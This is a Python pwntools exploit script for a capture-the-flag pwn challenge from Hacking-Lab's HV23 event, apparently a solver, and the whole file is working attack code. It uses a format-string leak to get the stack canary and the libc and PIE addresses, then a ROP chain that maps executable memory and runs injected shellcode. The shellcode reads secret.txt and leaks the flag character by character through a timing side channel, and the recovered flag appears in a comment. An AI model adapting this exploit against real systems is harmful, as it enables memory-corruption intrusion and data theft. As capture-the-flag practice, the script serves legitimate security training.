#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./pwn '--host=93feafcd-9de7-4c80-914c-1110f8a36326.rdocker.vuln.land' '--port=1337' from pwn import * import string # Set up pwntools for the correct architecture exe = context.binary = ELF(args.EXE or './pwn') # libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False) libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False) # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable host = args.HOST or '1a889c42-b594-4c56-8b79-ac7e45ede7b4.rdocker.vuln.land' port = int(args.PORT or 1337) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' tbreak main continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled orig_libc_start_main = libc.symbols["__libc_start_main"] orig_main = exe.symbols["main"] def try_char(offset, char): try: io = start() io.recvuntil(b"Who should the gifts be for? ") io.sendline(b"%43$p|%45$p|%47$p") leak = io.recvline().decode() match = re.match(r"Processing the wishes of (.*)\|(.*)\|(.*)\n", leak) stack_canary = int(match[1], 16) libc_leak = int(match[2], 16) libc.address = libc_leak - orig_libc_start_main + 48 pie_leak = int(match[3], 16) exe.address = pie_leak - orig_main # print("[+] Got stack canary:", hex(stack_canary)) # print("[+] LIBC base:", hex(libc.address)) # print("[+] PIE base:", hex(exe.address)) rop = ROP([libc, exe]) payload = b"" payload += 264 * b"A" payload += p64(stack_canary) assert len(payload) <= 0x200 assert b"\n" not in payload file_name = next(exe.search(b"secret.txt")) data_segment = exe.address + 0x4000 new_segment = exe.address + 0x6000 pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]) pop_rcx_ret = rop.find_gadget(["pop rcx", "ret"]) ret = rop.find_gadget(['ret']) rop.raw(ret) rop.raw(pop_rcx_ret) rop.raw(32) rop.raw(pop_rdi_ret) rop.raw(exe.symbols["gifts"]) # (0xffffffffffffffff << 32) & 0xfff == 0 if args.LOCAL: rop.raw(libc.address + 0x501f9) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret else: rop.raw(libc.address + 0x54d69) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret rop.mmap(new_segment, 0x1000, 7, 0x2|0x20) # MAP_ANONYMOUS|MAP_PRIVATE rop.read(0, new_segment, 100) rop.call(new_segment) payload += rop.chain() gifts = [payload, b"a", b"b", b"c", b"d"] for g in gifts: io.recvuntil(b"Name a wish: ") io.sendline(g) io.sendline(asm(f""" mov rdi, {hex(file_name)} xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rdi, rax mov rsi, {hex(data_segment)} mov rdx, 0x30 xor rax, rax syscall mov rsi, {hex(data_segment)} add rsi, {offset} xor rax, rax mov al, {hex(ord(char))} mov bl, [rsi] cmp al, bl je L2 jmp done L2: nop jmp L2 done: nop """)) except Exception as e: if isinstance(e, KeyboardInterrupt): exit(0) io.close() return try_char(offset, char) t1 = time.time() io.recvall(timeout=1.5) t2 = time.time() found = t2 - t1 >= 1.5 io.close() return found # flag = "HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}" flag = "" OFFSET = len(flag) while True: found = False for CHAR in string.printable: if try_char(OFFSET, CHAR): flag += CHAR print("FOUND:", flag) found = True break if found: OFFSET += 1 continue else: print("END") break